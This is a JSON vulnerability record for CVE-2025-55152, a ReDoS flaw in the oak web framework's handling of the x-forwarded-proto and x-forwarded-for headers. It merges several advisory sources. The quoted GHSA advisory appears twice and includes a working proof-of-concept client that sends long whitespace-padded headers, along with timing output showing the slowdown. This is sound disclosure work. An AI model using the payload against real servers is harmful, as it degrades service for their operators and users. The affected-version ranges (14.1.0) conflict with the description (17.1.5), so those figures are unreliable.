{"id":"CVE-2025-55152","aliases":["EUVD-2025-24026","GHSA-r3v7-pc4g-7xp9"],"status":"published","title":"oak: ReDoS in x-forwarded-proto and x-forwarded-for headers","description":"oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-07","score":0.00411,"percentile":0.3564,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-1333","CWE-400"],"published":"2025-08-09T01:29:54Z","modified":"2026-10-28T02:30:49Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"@oakserver/oak","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"14.1.0"}]}]},{"source":"osv","ecosystem":"npm","package":"@oakserver/oak","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"14.1.0"}]}]}],"products":[{"vendor":"oakserver","product":"oak"}],"references":[{"url":"https://github.com/oakserver/oak/security/advisories/GHSA-r3v7-pc4g-7xp9","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/oakserver/oak/commit/b60e60330ef227707c4dc13ef0ea36192d894f44","tags":["x_refsource_MISC","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55152","tags":["advisory"]},{"url":"https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142","tags":["web"]},{"url":"https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87","tags":["web"]},{"url":"https://github.com/advisories/GHSA-r3v7-pc4g-7xp9"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/55xxx/CVE-2025-55152.json","tags":["advisory"]},{"url":"https://github.com/oakserver/oak","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2025-55152","title":"oak: ReDoS in x-forwarded-proto and x-forwarded-for headers","description":"oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.","status":"published","published":"2025-08-09T01:29:54.545Z","modified":"2025-08-11T13:33:40.071Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"cna"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:32:52.839698Z"}],"euvd":[{"id":"EUVD-2025-24026","description":"oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.","status":"published","published":"2025-08-09T01:29:54Z","modified":"2025-08-11T13:33:40Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T20:31:59.900029Z"}],"ghsa":[{"id":"GHSA-r3v7-pc4g-7xp9","title":"Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers","description":"### Summary\n\nWith specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server.\n\n### Vulnerable Code\n\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142\n\n### PoC\n\n- setup\n```\ndeno --version\ndeno 2.4.3\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n```\n\n- `server.ts`\n```ts\nimport { Application } from \"https://deno.land/x/oak/mod.ts\";\n\nconst app = new Application({proxy: true});\n\nlet i = 1\n\napp.use((ctx) =\u003e {\n\n    // let url = ctx.request.url   // test1) x-forwarded-proto\n    let ips = ctx.request.ips   // test2) x-forwarded-for\n    console.log(`request ${i} received`)\n    i++;\n    ctx.response.body = \"hello\";\n});\n\nawait app.listen({ port: 8080 });\n```\n\n- `client.ts`\n```ts\nconst lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]\n\nconst data1 = lengths.map(l =\u003e 'A' + 'A'.repeat(l) + 'A');\nconst data2 = lengths.map(l =\u003e 'A' + ' '.repeat(l) + 'A');\n\nasync function run(data) {\n    for (let i = 0; i \u003c data.length; i++) {\n        let d = data[i];\n        \n        const start = performance.now();\n\n        await fetch(\"http://localhost:8080\", {\n            headers: {\n                // \"x-forwarded-proto\": d,  // test1)\n                \"x-forwarded-for\": d,    // test2)\n            },\n        });\n\n        const end = performance.now();\n        console.log('length=%d, time=%d ms', d.length, end - start);\n    }\n}\n\nconsole.log(\"\\n[+] Test normal behavior\")\nawait run(data1)\nconsole.log(\"\\n[+] Test payloads\")\nawait run(data2)\n```\n\n- run\n```\ndeno run --allow-net server.ts\ndeno run --allow-net client.ts\n\n[+] Test normal behavior\nlength=2002, time=14 ms\nlength=4002, time=6 ms\nlength=8002, time=3 ms\nlength=16002, time=3 ms\nlength=32002, time=2 ms\nlength=64002, time=4 ms\nlength=128002, time=3 ms\n\n[+] Test payloads\nlength=2002, time=7 ms\nlength=4002, time=22 ms\nlength=8002, time=77 ms\nlength=16002, time=241 ms\nlength=32002, time=947 ms\nlength=64002, time=4020 ms\nlength=128002, time=15840 ms\n```\n\n\n### Impact\n\nA specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers  can be used to significantly slow down an oak server.\n\n### Similar Issues\n\n- https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6\n\t- https://github.com/denoland/deno/pull/17722\n- https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693\n\t- https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff","status":"published","published":"2025-08-12T00:15:00Z","modified":"2025-08-12T00:15:02Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:38:53.767052Z"}],"nvd":[{"id":"CVE-2025-55152","description":"oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.","status":"published","published":"2025-08-09T02:15:38.033Z","modified":"2026-06-17T09:41:21.85Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:11:22.319351Z"}],"osv":[{"id":"CVE-2025-55152","title":"oak: ReDoS in x-forwarded-proto and x-forwarded-for headers","description":"oak is a middleware framework for Deno's native HTTP server, Deno Deploy, Node.js 16.5 and later, Cloudflare Workers and Bun. In versions 17.1.5 and below, it's possible to significantly slow down an oak server with specially crafted values of the x-forwarded-proto or x-forwarded-for headers.","status":"published","published":"2025-08-09T01:29:54.545Z","modified":"2026-10-28T02:30:49.839927246Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-02T15:44:50.863921Z"},{"id":"GHSA-r3v7-pc4g-7xp9","title":"Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers","description":"### Summary\n\nWith specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers, it's possible to significantly slow down an oak server.\n\n### Vulnerable Code\n\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L87\n- https://github.com/oakserver/oak/blob/v17.1.5/request.ts#L142\n\n### PoC\n\n- setup\n```\ndeno --version\ndeno 2.4.3\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n```\n\n- `server.ts`\n```ts\nimport { Application } from \"https://deno.land/x/oak/mod.ts\";\n\nconst app = new Application({proxy: true});\n\nlet i = 1\n\napp.use((ctx) =\u003e {\n\n    // let url = ctx.request.url   // test1) x-forwarded-proto\n    let ips = ctx.request.ips   // test2) x-forwarded-for\n    console.log(`request ${i} received`)\n    i++;\n    ctx.response.body = \"hello\";\n});\n\nawait app.listen({ port: 8080 });\n```\n\n- `client.ts`\n```ts\nconst lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]\n\nconst data1 = lengths.map(l =\u003e 'A' + 'A'.repeat(l) + 'A');\nconst data2 = lengths.map(l =\u003e 'A' + ' '.repeat(l) + 'A');\n\nasync function run(data) {\n    for (let i = 0; i \u003c data.length; i++) {\n        let d = data[i];\n        \n        const start = performance.now();\n\n        await fetch(\"http://localhost:8080\", {\n            headers: {\n                // \"x-forwarded-proto\": d,  // test1)\n                \"x-forwarded-for\": d,    // test2)\n            },\n        });\n\n        const end = performance.now();\n        console.log('length=%d, time=%d ms', d.length, end - start);\n    }\n}\n\nconsole.log(\"\\n[+] Test normal behavior\")\nawait run(data1)\nconsole.log(\"\\n[+] Test payloads\")\nawait run(data2)\n```\n\n- run\n```\ndeno run --allow-net server.ts\ndeno run --allow-net client.ts\n\n[+] Test normal behavior\nlength=2002, time=14 ms\nlength=4002, time=6 ms\nlength=8002, time=3 ms\nlength=16002, time=3 ms\nlength=32002, time=2 ms\nlength=64002, time=4 ms\nlength=128002, time=3 ms\n\n[+] Test payloads\nlength=2002, time=7 ms\nlength=4002, time=22 ms\nlength=8002, time=77 ms\nlength=16002, time=241 ms\nlength=32002, time=947 ms\nlength=64002, time=4020 ms\nlength=128002, time=15840 ms\n```\n\n\n### Impact\n\nA specially crafted value of the `x-forwarded-proto` or `x-forwarded-for` headers  can be used to significantly slow down an oak server.\n\n### Similar Issues\n\n- https://github.com/denoland/deno/security/advisories/GHSA-jc97-h3h9-7xh6\n\t- https://github.com/denoland/deno/pull/17722\n- https://github.com/websockets/ws/security/advisories/GHSA-6fc8-4gx4-v693\n\t- https://github.com/websockets/ws/commit/00c425ec77993773d823f018f64a5c44e17023ff","status":"published","published":"2025-08-12T00:15:00Z","modified":"2025-08-12T00:15:00Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:55.122811Z"}]}}